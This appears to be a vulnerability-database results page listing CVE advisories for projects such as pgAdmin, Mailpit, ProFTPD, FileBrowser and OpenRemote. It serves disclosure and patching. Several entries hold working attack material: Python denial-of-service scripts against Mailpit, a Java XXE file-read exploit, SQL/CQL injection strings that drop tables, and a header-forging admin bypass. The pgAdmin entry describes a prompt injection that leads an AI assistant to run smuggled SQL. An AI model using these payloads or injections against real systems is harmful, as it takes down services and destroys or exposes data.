Search: em***int*-ho***.com
63 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Low | 1.0 | EPSS 0.2% | Low1.0EPSS 0.2%GCVE DatabaseCVE-2026-68366 In the Linux kernel, the following vulnerability has been resolved: usb: gadget: uvc: clamp SEND_RESPONSE length to the response buffer uvc_send_response() builds the UVC control response from a user-supplied struct uvc_request_data: req->length = min_t(unsigned int, uvc->event_length, data->length); ... memcpy(req->buf, data->data, req->length); req->length is clamped to uvc->event_length, which is taken from the host control request wLength (up to UVC_MAX_REQUEST_SIZE, 64), and to data->length, which comes from the UVCIOC_SEND_RESPONSE ioctl and is only checked for being negative. The source buffer data->data is only 60 bytes, so a response with uvc->event_length and data->length both greater than 60 makes memcpy() read past the end of data->data. Clamp req->length to sizeof(data->data) as well. EPSS 0.2%Vulnerability | GCVE Database | ||
| Critical | 9.0 | EPSS 0.5% | CVE-2026-17351pgAdmin 4 · SQL Injection Critical9.0EPSS 0.5%CVE Database V5CVE-2026-17351 The fix for CVE-2026-12045 in pgAdmin 4 9.16 required the LLM-supplied query passed to the AI Assistant's execute_sql_query tool to parse, via sqlparse, as exactly one non-transaction-control statement before running it inside a BEGIN TRANSACTION READ ONLY wrapper. sqlparse's string-literal lexing can disagree with PostgreSQL's own parser: under standard_conforming_strings = on (PostgreSQL's default since 9.1), a backslash immediately before a quote is an ordinary character to PostgreSQL, but sqlparse treats it as escaping the quote. A payload such as SELECT '\';COMMIT;CREATE TABLE pwn(x int);SELECT 1 --' therefore parses as a single SELECT to sqlparse's validator, while PostgreSQL executes it as four statements: the smuggled COMMIT ends the wrapping read-only transaction, and the trailing ROLLBACK becomes a no-op. This reintroduces the same write/RCE bypass CVE-2026-12045 was meant to close, reachable via the same indirect prompt-injection delivery (an attacker plants the payload in any object the AI Assistant may read; the LLM emits it as a tool call). An initial candidate fix ran the query with psycopg's execute(..., prepare=True), intending to force PostgreSQL's own Parse step (extended query protocol) to reject multi-statement text regardless of sqlparse's classification. This candidate fix does not work as submitted: psycopg3's PrepareManager silently ignores the prepare argument whenever the connection's prepare_threshold is None, which is pgAdmin's default for every server connection (the per-server "Prepare threshold" field is blank unless an administrator explicitly sets it) -- psycopg3 falls back to the simple query protocol, the same multi-statement-capable path the bypass exploits, so the candidate fix closes nothing on any real-world default configuration. The corrected fix sets conn.prepare_threshold = 0 directly on the dedicated, single-use read-only connection the AI Assistant tool opens, structurally forcing the extended query protocol independent of any server-level configuration. Verified against a live PostgreSQL 18 instance: the payload executes successfully under the prepare_threshold=None (default) behavior, and is rejected with "cannot insert multiple commands into a prepared statement" once prepare_threshold=0 is set on that connection. This issue affects pgAdmin 4: from 9.13 before 9.17. | CVE Database V5 | ||
| High | 8.7 | EPSS 0.3% | CVE-2026-59248ninenines cowlib · Unthrottled Resource Allocation High8.7EPSS 0.3%CVE Database V5CVE-2026-59248 Allocation of resources without limits vulnerability in ninenines cowlib allows an unauthenticated remote HTTP/2 or HTTP/3 peer to exhaust memory on the vulnerable server (or client) and cause a denial of service. The HPACK and QPACK prefixed-integer decoder cow_hpack_common:dec_big_int/3 in src/cow_hpack_common.hrl (invoked from cow_hpack:decode/2 in src/cow_hpack.erl and from cow_qpack:decode_field_section/3 in src/cow_qpack.erl) reads continuation octets until it sees one whose high bit is clear, evaluating Int + (Value bsl M) at each step with the shift M growing by seven per octet. No limit is enforced on the number of continuation octets, on the resulting bit width, or on the value; the decoder consumes whatever encoded length the peer supplies. Because Erlang integers are immutable, each intermediate Value bsl M and each accumulator update allocates a fresh bignum whose digit width grows linearly with the number of octets processed so far. Summed across the whole decode, the transient bignum digit materialization is on the order of the square of the encoded length. A single maximal HPACK indexed representation carried inside one HTTP/2 HEADERS plus one CONTINUATION frame at Cowboy's default max_frame_size_received can force hundreds of megabytes of transient allocation and garbage-collection churn before the resulting header-table index is rejected as invalid. Repeated or concurrent connections multiply the pressure and can drive the Erlang VM to memory exhaustion. Cowlib is the HTTP parser used by Cowboy, RabbitMQ's management plugin, and other Erlang and Elixir HTTP/2 and HTTP/3 servers and clients, so any exposed endpoint that accepts HPACK or QPACK from an untrusted peer is reachable. This issue affects cowlib: from 2.0.0 before 2.19.0. | CVE Database V5 | ||
| Medium | 5.1 | EPSS 0.3% | CVE-2026-55737Erlang OTP · Signed to Unsigned Conversion Error Medium5.1EPSS 0.3%CVE Database V5CVE-2026-55737 Signed to Unsigned Conversion Error and Out-of-bounds Write vulnerability in Erlang OTP erts allows an attacker who can supply a crafted Erlang external term format (ETF) binary to binary_to_term/1 to corrupt the BEAM heap pointer and crash the virtual machine. When decoding a LARGE_TUPLE_EXT term, the validation pass decoded_size() in erts/emulator/beam/external.c reads the 32-bit arity field as unsigned (get_uint32()), while the decode pass dec_term() reads the same field as a signed 32-bit integer (get_int32()) into an int. An arity wire value of 0x80000000 passes validation as 2147483648 but decodes as -2147483648, so the subsequent hp += n moves the heap allocation pointer backward. Neither pass enforces the runtime tuple-arity limit MAX_ARITYVAL. The result is an out-of-bounds heap write; in practice the VM detects an impossible heap size and aborts, denying service. The required padding is large when uncompressed but the compressed-ETF envelope shrinks it to a small payload on the wire. This issue affects OTP from OTP 25.0 before OTP 27.3.4.15, OTP 28.5.0.4, and OTP 29.0.4, corresponding to erts from 13.0 before 15.2.7.11, 16.4.0.4, and 17.0.4. | CVE Database V5 | ||
| Medium | 5.9 | EPSS 0.4% | CVE-2026-55991NLnet Labs Unbound · Signed to Unsigned Conversion Error Medium5.9EPSS 0.4%CVE Database V5CVE-2026-55991 In NLnet Labs Unbound 1.22.0 up to and including 1.25.1, a remote unauthenticated client can trigger a libngtcp2 assertion (if compiled with assertions on) and terminate the entire Unbound process using a single DNS-over-QUIC (DoQ) connection and one normal DNS query. This is caused by an erroneous error value passed to libngtcp2. When 'ngtcp2_conn_writev_stream()' returns 'NGTCP2_ERR_STREAM_DATA_BLOCKED', Unbound continues to call 'ngtcp2_ccerr_set_application_error()' with a '-1' error value. The 'int' literal '-1' is implicitly converted to the function's 'uint64_t error_code' parameter as '0xFFFFFFFFFFFFFFFF'. The follow-on 'ngtcp2_conn_write_connection_close()' serialises that value as a QUIC variable-length integer; because '2^64-1' exceeds the 62-bit varint ceiling, 'ngtcp2_put_uvarintlen()' fails 'assert(n < 4611686018427387904ULL)' and the whole resolver process aborts. A remote, unauthenticated DoQ client can trigger this deterministically with a single QUIC connection by advertising 'initial_max_stream_data_bidi_local = 1' in its transport parameters and sending one DoQ query without ever reading the stream. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.6% | CVE-2026-45713axllent mailpit · Uncontrolled Resource Consumption High7.5EPSS 0.6%CVE Database V5CVE-2026-45713 ### Summary The Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go's zero value (0 ⇒ "no limit"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit's default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumption spike with a ~7-10× amplification factor (raw frame → enmime envelope tree → search-text index → zstd-encoded write to SQLite). Repeating the attack — or running it concurrently from multiple connections — drives the process to OOM-kill. ### Details Pre-auth, remote DoS on every Mailpit deployment running the default configuration. Memory is the primary axis; disk is a secondary one, because each oversized message is also persisted to the SQLite store (config.MaxMessages caps the count at 500 but never the bytes — so 500 attacker-sized messages × 1 GiB each = ~500 GiB on the host disk before the LRU rotates). Affected code [internal/smtpd/smtpd.go:107](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L107) — the field exists: ``` type Server struct { ... MaxSize int // Maximum message size allowed, in bytes ... } ``` [internal/smtpd/smtpd.go:863-877](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L863-L877) — the enforcement is gated on > 0: ``` for { ... line, err := s.br.ReadBytes('\n') if err != nil { return nil, err } if bytes.Equal(line, []byte(".\r\n")) { break } if line[0] == '.' { line = line[1:] } if s.srv.MaxSize > 0 { // ← only when set if len(data)+len(line) > s.srv.MaxSize { _, _ = s.br.Discard(s.br.Buffered()) return nil, maxSizeExceeded(s.srv.MaxSize) } } data = append(data, line...) // ← otherwise grows unbounded } ``` [internal/smtpd/main.go:223-248](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/main.go#L223-L248) — the field is never populated; grep -rn "MaxSize" cmd/ config/ returns zero hits. There is no --smtp-max-message-size CLI flag, no MP_SMTP_MAX_MESSAGE_SIZE env var. [server/apiv1/send.go:45-52](https://github.com/axllent/mailpit/blob/develop/server/apiv1/send.go#L45-L52) — HTTP path has the same defect: ``` decoder := json.NewDecoder(r.Body) data := sendMessageParams{} if err := decoder.Decode(&data.Body); err != nil { httpJSONError(w, err.Error()) return } ``` No r.Body = http.MaxBytesReader(w, r.Body, N) wrapper; server.ReadTimeout of 30 s is transmission-time, not body-size-budget. ### PoC Baseline RSS on a freshly-started binary: 25 MiB. After one 100 MiB SMTP DATA block: ~1 037 MiB (≈10× amplification, single connection, no auth): ``` #!/usr/bin/env python3 # poc-smtp-dos.py import socket, sys host, port = sys.argv[1], int(sys.argv[2]) mb = int(sys.argv[3]) # message size, MiB s = socket.create_connection((host, port), timeout=120) def r(): return s.recv(4096).decode("latin-1", "replace").strip() print(r()) for cmd in [b"HELO x\r\n", b"MAIL FROM:<a@b.com>\r\n", b"RCPT TO:<c@d.com>\r\n", b"DATA\r\n"]: s.sendall(cmd); print(r()) s.sendall(b"Subject: oversize\r\n\r\n") chunk = b"X" * (1024 * 1024) for _ in range(mb): s.sendall(chunk) s.sendall(b"\r\n.\r\n") print(r()); s.close() ``` ``` $ python3 poc-smtp-dos.py 127.0.0.1 1025 100 220 hostname Mailpit ESMTP Service ready 250 hostname greets x 250 2.1.0 Ok 250 2.1.5 Ok 354 Start mail input; end with <CR><LF>.<CR><LF> 250 2.0.0 Ok: queued as 58rI69JTJYjVFwogEbw9Jj $ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit) 1062848 # ≈ 1 037 MiB, up from 25 MiB baseline ``` Equivalent over HTTP: ``` # poc-http-dos.py import socket, sys host, port, mb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3]) prefix = b'{"From":{"Email":"a@b.com"},"To":[{"Email":"c@d.com"}],"Subject":"big","Text":"' suffix = b'"}' N = mb * 1024 * 1024 clen = len(prefix) + N + len(suffix) s = socket.create_connection((host, port), timeout=120) s.sendall( b"POST /api/v1/send HTTP/1.1\r\n" b"Host: x\r\n" b"Content-Type: application/json\r\n" b"Content-Length: " + str(clen).encode() + b"\r\n" b"Connection: close\r\n\r\n") s.sendall(prefix) chunk = b"X" * (1024 * 1024) for _ in range(mb): s.sendall(chunk) s.sendall(suffix) print(s.recv(500).decode("latin-1", "replace")) ``` ``` $ python3 poc-http-dos.py 127.0.0.1 8025 200 HTTP/1.1 200 OK ... $ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit) 2147000 # comfortably above 2 GiB on the same process ``` Five concurrent SMTP connections × 50 MiB each took the same machine from 25 MiB | CVE Database V5 | ||
| High | 7.8 | EPSS 0.1% | High7.8EPSS 0.1%GCVE DatabaseCVE-2026-64036 In the Linux kernel, the following vulnerability has been resolved: cgroup/rstat: validate cpu before css_rstat_cpu() access css_rstat_updated() is exposed as a BPF kfunc and accepts a caller-provided cpu argument. The function uses cpu for per-cpu rstat lookups without checking whether it refers to a valid possible CPU. A BPF iter/cgroup program with CAP_BPF and CAP_PERFMON can pass an invalid cpu value. On an unfixed UBSCAN_BOUNDS test kernel, cpu == 0x7fffffff triggers: UBSAN: array-index-out-of-bounds in kernel/cgroup/rstat.c:31:9 index 2147483647 is out of range for type 'long unsigned int [64]' Call Trace: css_rstat_updated bpf_iter_run_prog cgroup_iter_seq_show bpf_seq_read Add cpu validation to the BPF-facing css_rstat_updated() kfunc and move the common implementation to __css_rstat_updated() for in-kernel callers. | GCVE Database | ||
| High | 7.5 | EPSS 0.4% | CVE-2026-53994ProFTPD · Heap-based Buffer Overflow High7.5EPSS 0.4%CVE Database V5CVE-2026-53994 ProFTPD mod_sftp contains a heap-based buffer overflow reachable by an authenticated SFTP user. The fxp_packet_read() function accepts the attacker-supplied 32-bit big-endian SFTP packet length without a minimum sanity check. A value of 0 causes an unsigned subtraction elsewhere in the read path to underflow to approximately 4 GB. That oversized request reaches the core memory allocator, where the rounded size is computed in size_t but passed to new_block() as a 32-bit int; the low 32 bits of 0x100000000 are 0, so new_block() returns a small (~512-byte) block while the caller is told it received ~4 GB. The subsequent fill loop then streams attacker-controlled bytes past the end of the 544-byte allocation, producing an attacker-controlled heap buffer overflow. An authenticated user can crash the per-connection ProFTPD session child on demand with a single malformed SFTP packet (packet_len=0 followed by a body greater than approximately 544 bytes), producing reliable authenticated remote denial of service. Depending on heap layout and adjacent allocations, heap metadata corruption and further consequences beyond denial of service may be possible, though only denial of service is demonstrated by the supplied proof of concept. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.7% | CVE-2026-45799square wire · Improper Validation of Array Index High7.5EPSS 0.7%CVE Database V5CVE-2026-45799 # CVE-2026-45799 ## Maintainer summary Wire's protobuf group-skipping logic did not reject negative lengths before skipping a length-delimited field inside a group. A crafted protobuf payload could cause Wire to throw an unchecked runtime exception during decoding instead of the documented `IOException` / `ProtocolException` failure path. This can crash services that decode untrusted protobuf payloads and only handle Wire's documented checked decoding failures. ## Affected artifacts ### `com.squareup.wire:wire-runtime` Affected versions: vulnerable releases before `6.3.0`. Patched versions: `6.3.0` and later. Users should upgrade to `com.squareup.wire:wire-runtime:6.3.0` or later. ### `com.squareup.wire:wire-runtime-jvm` Affected versions: vulnerable releases before `6.3.0`. Patched versions: `6.3.0` and later. Users should upgrade to `com.squareup.wire:wire-runtime:6.3.0` or later. ### Wire 7 alpha releases The fix has been merged to `master` and will be included in the next Wire 7 alpha release. Until that release is available, Wire 7 alpha users should avoid decoding untrusted protobuf payloads with affected alpha versions or build from a commit containing the fix. ## Fix The issue is fixed in Wire `6.3.0`. The fix rejects negative lengths while skipping groups and throws `ProtocolException` instead of allowing the reader to move to an invalid position and later throw an unchecked runtime exception. ## Credit Reported by @TrekLaps. ## Technical details The following technical details are based on the original report, updated by the maintainers to reflect the assigned CVE, the supported fixed artifact, and the discontinued status of `com.squareup.wire:wire-runtime-jvm`. `ByteArrayProtoReader32.skipGroup()` in `wire-runtime` did not validate that a `LENGTH_DELIMITED` field's length is non-negative before calling `skip()`. A crafted protobuf varint encodes `-128` as a signed `Int`. When `skip(-128)` runs, the internal position counter underflows to an invalid negative position. The next `readByte()` accesses the source with that negative position, throwing `ArrayIndexOutOfBoundsException`, a `RuntimeException` that escapes Wire's documented `IOException` boundary and can crash the request handler. `ProtoAdapter.decode(byte[])` is declared to throw `IOException`. Callers following the documented API may catch only `IOException`, so unchecked runtime exceptions from malformed input can escape the expected error boundary. The originally confirmed vulnerable legacy versions include `5.3.1` and `5.3.3` for the discontinued `com.squareup.wire:wire-runtime-jvm` coordinate. The supported replacement coordinate is `com.squareup.wire:wire-runtime`, fixed in version `6.3.0`. ## Root cause In the originally reported vulnerable code path, `ByteArrayProtoReader32.skipGroup()` read the length as a signed `Int` and used it without validating that it was non-negative: ```kotlin STATE_LENGTH_DELIMITED -> { val length = internalReadVarint32() // returns signed Int and can be negative skip(length) // no negative check } ``` The internal `skip()` implementation then accepted the negative count because the computed position was not greater than the limit: ```kotlin private fun skip(byteCount: Int) { val newPos = pos + byteCount // for example, 7 + (-128) = -121 if (newPos > limit) throw EOFException() pos = newPos // pos = -121 } ``` The next read could then index the source with the invalid negative position: ```kotlin private fun readByte(): Byte { if (pos == limit) throw EOFException() return source[pos++] // source[-121] throws ArrayIndexOutOfBoundsException } ``` Wire already rejected negative lengths in normal length-delimited field decoding. The same validation was missing from group-skipping code. The fix adds this validation when skipping groups: ```kotlin STATE_LENGTH_DELIMITED -> { val length = internalReadVarint32() if (length < 0) throw ProtocolException("Negative length: $length...") skip(length) } ``` The fix was applied to both `ByteArrayProtoReader32.skipGroup()` and `ProtoReader.skipGroup()`. ## Reproduction The following reproduction was provided for vulnerable legacy `wire-runtime-jvm` releases such as `5.3.1` and `5.3.3`: ```bash curl -sL https://repo1.maven.org/maven2/com/squareup/wire/wire-runtime-jvm/5.3.3/wire-runtime-jvm-5.3.3.jar -o wire.jar curl -sL https://repo1.maven.org/maven2/com/squareup/okio/okio-jvm/3.9.1/okio-jvm-3.9.1.jar -o okio.jar curl -sL https://repo1.maven.org/maven2/org/jetbrains/kotlin/kotlin-stdlib/2.1.0/kotlin-stdlib-2.1.0.jar -o stdlib.jar ``` ```java // WirePoc.java import com.squareup.wire.AnyMessage; public class WirePoc { public static void main(String[] args) throws Exception { byte[] payload = new byte[] { (byte) 0x9B, 0x06, // field 99, START_GROUP 0x0A, | CVE Database V5 | ||
| Critical | 9.3 | EPSS 0.7% | CVE-2026-60090MervinPraison PraisonAI · SQL Injection Critical9.3EPSS 0.7%CVE Database V5CVE-2026-60090 # PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL ## Summary The PGVector and Cassandra knowledge-store backends validate SQL/CQL identifiers such as schema, keyspace, and collection names, but still insert the caller-controlled `dimension` argument directly into `CREATE TABLE` vector column declarations. A caller that can influence collection creation dimensions can append SQL/CQL tokens to the generated DDL executed by the database driver. ## Technical Details The affected boundary is the vector-store collection creation API. The shared `KnowledgeStore.create_collection()` contract declares `dimension: int`, but Python type hints are not enforced at runtime. Backends that interpolate that value into DDL must validate the runtime value before constructing SQL/CQL. `src/praisonai/praisonai/persistence/knowledge/pgvector.py` already treats DDL identifier interpolation as security-sensitive: `__init__()` calls `validate_identifier(schema, name="schema")`, and `_table_name()` calls `validate_identifier(collection, name="collection name")` before returning `f"{self.schema}.praison_vec_{collection}"`. However, `PGVectorKnowledgeStore.create_collection()` then executes: ```python cur.execute(f""" CREATE TABLE IF NOT EXISTS {table} ( id VARCHAR(255) PRIMARY KEY, content TEXT, content_hash VARCHAR(64), created_at DOUBLE PRECISION, metadata JSONB, embedding vector({dimension}) ) """) ``` No equivalent type or range check runs on `dimension`. Passing a string such as `3); DROP TABLE tenant_secrets; --` reaches the SQL sent to `cur.execute()`. `src/praisonai/praisonai/persistence/knowledge/cassandra.py` has the same pattern. The constructor validates `keyspace`, and `create_collection()` validates the collection name, but the vector column DDL uses: ```python self._session.execute(f""" CREATE TABLE IF NOT EXISTS {name} ( id text PRIMARY KEY, content text, content_hash text, created_at double, embedding vector<float, {dimension}> ) """) ``` Passing a string such as `3>; DROP TABLE tenant_secrets; --` reaches the CQL sent to `session.execute()`. ## PoV This minimal PoV imports the real backend classes with fake database drivers, records the statements sent to the drivers, and compares a safe integer dimension with a malicious string dimension. It also attempts a malicious collection name as a negative control; current code rejects that name, proving the identifier hardening is active while the vector dimension remains unguarded. ```python #!/usr/bin/env python3 """Local PoV for vector-store dimension DDL interpolation. The script imports PraisonAI's current source with fake PostgreSQL/Cassandra drivers, then records the SQL/CQL sent to the driver cursors. No database server is required; the assertion is that the real classes build executable DDL with an attacker-controlled dimension string. """ from __future__ import annotations import argparse import importlib import json import subprocess import sys import types from pathlib import Path from typing import Any class SqlRecorder: def __init__(self) -> None: self.statements: list[dict[str, Any]] = [] def execute(self, statement: str, params: Any = None) -> None: normalized = "\n".join(line.rstrip() for line in statement.strip().splitlines()) self.statements.append({"statement": normalized, "params": params}) def __enter__(self) -> "SqlRecorder": return self def __exit__(self, *_exc: object) -> None: return None class FakeConnection: def __init__(self, recorder: SqlRecorder) -> None: self.recorder = recorder def cursor(self, *args: Any, **kwargs: Any) -> SqlRecorder: return self.recorder def commit(self) -> None: return None class FakePool: def __init__(self, recorder: SqlRecorder) -> None: self.conn = FakeConnection(recorder) def getconn(self) -> FakeConnection: return self.conn def putconn(self, _conn: FakeConnection) -> None: return None def closeall(self) -> None: return None class FakeCassandraSession: def __init__(self, recorder: SqlRecorder) -> None: self.recorder = recorder self.keyspace: str | None = None def execute(self, statement: str, params: Any = None) -> list[Any]: self.recorder.execute(statement, params) return [] def set_keyspace(self, keyspace: str) -> None: self.keyspace = keyspace class FakeCluster: recorder: SqlRecorder def __init__(self, *_args: Any, **_kwargs: Any) -> None: self.session = FakeCassandraSession(self.recorder) def connect(self) -> FakeCassandraSession: return self.session def shutdown(self) -> None: return None def install_fake_pg_driver(recorder: SqlRecorder) -> None: psycopg2 = types.ModuleType("psycopg2") pool = types.Modul | CVE Database V5 | ||
| Critical | 9.1 | EPSS 0.6% | Critical9.1EPSS 0.6%GCVE DatabaseCVE-2026-54089 ## Summary When FileBrowser is configured with proxy authentication (`auth.method=proxy`), any unauthenticated attacker who can reach the server directly can impersonate **any user - including admin** - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to **automatically create a new user account**, providing an account creation primitive with no authorization. **This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before.** ## Severity **HIGH** - CVSS 3.1: **8.1** (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) ## Affected Component - **File:** [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 21-28 - **CWE:** [CWE-287](https://cwe.mitre.org/data/definitions/287.html) (Improper Authentication), [CWE-290](https://cwe.mitre.org/data/definitions/290.html) (Authentication Bypass by Spoofing) - **Affected versions:** All versions supporting `auth.method=proxy` ## Prerequisite: Proxy Auth Must Be Enabled This vulnerability is **NOT exploitable on default configuration** (`auth.method=json`). It requires the administrator to have configured proxy authentication mode. However, this is a **common production deployment pattern** - many organizations run FileBrowser behind a reverse proxy that handles SSO/LDAP/OAuth authentication: - **nginx** + Authelia / Authentik - **Traefik** + OAuth2 Proxy - **Caddy** + forward_auth - **Apache** + mod_auth_ldap In these setups, the proxy authenticates the user and passes the username via HTTP header (e.g., `X-Remote-User`). FileBrowser trusts this header to identify the user. | Deployment Scenario | Exploitable? | |---|---| | Default install (`auth.method=json`) | **No** — JSON auth uses password verification | | `auth.method=proxy` + FileBrowser only reachable via proxy (bound to `127.0.0.1` or firewalled) | **No** - attacker cannot reach the server directly | | `auth.method=proxy` + FileBrowser port exposed to network | **Yes - full admin takeover** | The third scenario is common because: - Docker containers publish ports to `0.0.0.0` by default (e.g., `-p 8085:80`) - Administrators expose the port for debugging, monitoring, or health checks - Cloud deployments may have misconfigured security groups or load balancers - Internal networks often lack strict micro-segmentation The core issue is that the **code itself has zero defensive checks** — no trusted IP validation, no shared secret, no origin verification. The entire security model relies on network-level isolation, which is fragile and not documented as a hard requirement. ## Root Cause The `ProxyAuth.Auth()` function unconditionally trusts the value of an HTTP request header (configured via `auth.header`, e.g. `X-Remote-User`) to determine the authenticated user's identity. There are **three distinct problems** in this code: ### Problem 1: No Origin Validation The function reads the header from **any** HTTP request regardless of source IP. It does not verify that the request originated from a trusted reverse proxy. Any client on the network can set arbitrary HTTP headers. **File: [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 21-28:** ```go func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) { username := r.Header.Get(a.Header) // <-- reads attacker-controlled header, no origin check user, err := usr.Get(srv.Root, username) if errors.Is(err, fberrors.ErrNotExist) { return a.createUser(usr, setting, srv, username) } return user, err // <-- returns the user object, no password verification } ``` There is no call to verify `r.RemoteAddr` against a list of trusted proxy IPs, no shared secret validation, and no signature check on the header value. ### Problem 2: No Password Verification Unlike JSON auth (`auth/json.go`) which validates the password via bcrypt, the proxy auth path returns the user object directly from the database based solely on the header value. The `loginHandler` in `http/auth.go` then mints a valid JWT for this user: **File: [`http/auth.go`](https://github.com/filebrowser/filebrowser/blob/main/http/auth.go), lines 121-137:** ```go func loginHandler(tokenExpireTime time.Duration) handleFunc { return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) { auther, err := d.store.Auth.Get(d.settings.AuthMethod) // ... user, err := auther.Auth(r, d.store.Users, d.settings, d.server) // No additional verification — if auther.Auth() returns a user, a JWT is minted return printToken(w, r, d, user, tokenExpireTime) // <-- signs and returns JWT } } ``` ### Problem 3: Automatic User Creation If the username in the header doesn't exist in the database, `createUser()` is called | GCVE Database | ||
| High | 7.6 | EPSS 0.2% | High7.6EPSS 0.2%GCVE Database ### Summary The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (`KNXProtocol`) processes user-uploaded ETS project ZIP files through Saxon XSLT and `XMLInputFactory.newInstance()` with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. `/etc/passwd`, `openmrs-runtime.properties`, cloud credential files). ### Details ### Incomplete patch CVE-2026-40882 was fixed by introducing `createSecureDocumentBuilderFactory()` in `AbstractVelbusProtocol.java` with five XXE-blocking features. The parallel asset import handler in `KNXProtocol.java` was not updated and retains two unprotected XML parsing calls on the same user-controlled data. **Patched file — AbstractVelbusProtocol.java:** ```java private DocumentBuilderFactory createSecureDocumentBuilderFactory() { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); return factory; } ``` **Vulnerable file — KNXProtocol.java, lines 229–249:** ```java // Line 229-230: reads 0.xml from user-uploaded ZIP InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl"); String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8); // Lines 233-245: Saxon XSLT — no XXE protection on the source document TransformerFactory tfactory = new TransformerFactoryImpl(); Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd))); transformer.transform( new StreamSource(new StringReader(xml)), // xml = 0.xml from attacker's ZIP new StreamResult(writer)); // Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false try (final XmlReader r = XmlInputFactory.newInstance() .createXMLStreamReader(new StringReader(xml))) { ... } ``` ### Data flow ``` POST /api/{realm}/agent/{agentId}/import (authenticated user, PR:L) → AgentResourceImpl.doProtocolAssetImport(fileData) → KNXProtocol.startAssetImport(byte[] fileData) → ZipInputStream reads 0.xml from attacker-controlled ETS ZIP → Saxon TransformerFactoryImpl.transform(StreamSource(0.xml)) ← XXE stage 1 → XmlInputFactory.newInstance().createXMLStreamReader(xml) ← XXE stage 2 → external entity resolved → arbitrary file read ``` ### Comparison with patched code | Handler | XML parser | DTD disabled | Status | |---|---|---|---| | `AbstractVelbusProtocol` | `DocumentBuilderFactory` | ✅ 5 features set | Patched (CVE-2026-40882) | | `KNXProtocol` | `Saxon` + `XMLInputFactory` | ❌ none set | **Not patched** | ### PoC No full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions. **Requirements:** Java 17+, Maven 3.8+ **pom.xml dependency:** ```xml <dependency> <groupId>net.sf.saxon</groupId> <artifactId>Saxon-HE</artifactId> <version>12.9</version> </dependency> ``` **Exploit.java:** ```java import net.sf.saxon.TransformerFactoryImpl; import javax.xml.stream.*; import javax.xml.transform.*; import javax.xml.transform.stream.*; import java.io.*; import java.nio.file.*; public class Exploit { public static void main(String[] args) throws Exception { // Sentinel file — proves arbitrary file read Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt"); String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis(); Files.writeString(sentinel, tag); String maliciousXml = "<?xml version=\"1.0\"?>\n" + "<!DOCTYPE root [\n" + " <!ENTITY xxe SYSTEM \"file://" + sentinel.toAbsolutePath() + "\">\n" + "]>\n" + "<root><data>&xxe;</data></root>"; // Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config) XMLInputFactory factory = XMLInputFactory.newInstance(); XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml)); StringBuilder sb = new StringBuilder(); while (reader.hasNext()) { int e = reader.next(); if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText()); } System.out.println("Stage A result: " + sb.toString().trim()); // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245) String xsl = "<?xml version=\"1.0\"?>" + "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">" + "<xsl:output method=\"text\"/>" + "<xsl:tem | GCVE Database | ||
| High | 8.7 | EPSS 0.6% | CVE-2026-58226elixir-mint hpax · Inefficient Algorithmic Complexity High8.7EPSS 0.6%CVE Database V5CVE-2026-58226 Inefficient Algorithmic Complexity vulnerability in elixir-mint hpax allows unauthenticated denial-of-service via unbounded HPACK integer decoding. hpax decodes HPACK variable-length integers with no upper bound on the decoded value or the number of continuation octets. 'Elixir.HPAX.Types':decode_remaining_integer/3 accumulates the integer as int + (value <<< m), shifting by 7 more bits for each continuation octet and stopping only on a terminating octet or truncated input, never because the integer grew too large. Because BEAM integers are arbitrary precision, a run of N continuation octets builds an O(N)-bit bignum and re-adds into an ever-larger bignum on each step, so the total decoding cost is superlinear (about O(N^2)). An unauthenticated attacker who can send an HTTP/2 header block to a server using this decoder (reached through the 'Elixir.HPAX':decode/2 entry point) can supply a small header block that forces a large, attacker-controlled amount of CPU (and transient memory), a denial-of-service amplification. This issue affects hpax from 0.1.1 before 1.0.4. | CVE Database V5 | ||
